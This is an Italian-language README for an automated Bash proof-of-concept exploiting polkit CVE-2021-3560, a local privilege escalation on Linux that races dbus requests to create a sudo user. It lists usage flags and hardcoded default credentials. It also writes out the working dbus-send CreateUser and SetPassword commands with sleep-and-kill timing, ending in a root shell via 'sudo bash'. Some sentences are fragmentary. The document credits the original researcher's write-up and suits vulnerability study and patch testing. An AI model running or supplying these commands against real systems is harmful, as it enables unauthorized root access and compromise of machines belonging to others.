
PoC automatizzato in Bash per l'escalation dei privilegi polkit CVE-2021-3560. Sfrutta un attacco di temporizzazione su dbus per iniettare un utente sudo e ottenere una shell di root su distribuzioni Linux vulnerabili.
Questo è solo uno script PoC in Bash che automatizza i passaggi di sfruttamento menzionati nel blog di Kevin Backhouse. Leggi il suo articolo su questa vulnerabilità: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice e gnome-control-center e devono avere polkit versione 0.113 (o successiva) OPPURE 0-105-26 (fork Debian di polkit).Ubuntu 20.04, con polkit versione 0-105-26 (fork Debian di polkit) e Centos 8 con polkit versione 0.115. Se sei sicuro che il tuo target sia vulnerabile, ma la funzione di controllo dell'exploit fallisce, usa il flag -f=y per saltare tutti i controlli e forzare l'exploit.Una spiegazione completa e il PoC per sfruttare manualmente questa vulnerabilità sono forniti in dettaglio nel blog del ricercatore.
Di seguito il TL;DR di questo exploit:
polkit inviando un messaggio dbus, ma chiudendo bruscamente la richiesta mentre polkit la sta elaborando. Quindi l'attaccante può inviare una seconda richiesta con l'identificatore unico del bus della richiesta precedente, per eseguire la richiesta come UID 0, noto come root.polkit perché tratta l'UID di una connessione con un identificatore di bus che non esiste più come una richiesta da UID 0. Ciò significa che, se riusciamo a temporizzare correttamente l'attacco e terminare la nostra prima richiesta al momento giusto, possiamo inviare la seconda richiesta con i privilegi di UID 0, alias root.Come ho detto prima, questo è solo uno script bash che automatizza il PoC di Kevin Backhouse. I comandi principali sono gli stessi; ho solo automatizzato alcuni passaggi iniziali (come ottenere il tempismo giusto, scansionare la vulnerabilità, inserimento di credenziali personalizzate, stampa di bei colori, ecc.).
Se questo script viene eseguito senza parametri, il comportamento predefinito è il seguente:
/etc/os-release.]accountservice e gnome-control-center. [In rhel/centos/fedora, usa rpm -qa e nelle distribuzioni debian/ubuntu usa dpkg -l.].rhel.centos,fedora e 0-105-26 per Debian/Ubuntu]dbus-send eseguendo:
bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! ```
- Se l'inserimento dell'utente ha successo, [rilevato usando `id secnigma`], viene generato un hash della password [usando ```bash openssl passwd -5 `echo -n $password` ``` ]. (`$password=secnigmaftw`)
- Quindi il comando di inserimento dell'hash della password viene eseguito per 20 volte.
```bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $! ```
su - <nome_utente> con la password fornita allo script, e poi digitare sudo bash per ottenere una shell root!Esc per chiudere il prompt di autenticazione e Ctrl+C per terminare rapidamente lo script.$t) viene calcolato dividendo il tempo necessario per la richiesta per 2. ($t=time-required-to-request/2) [Calcolato usando awk]$t) è stato calcolato, la richiesta di inserire $username secnigma nel target viene ripetuta 20 volte.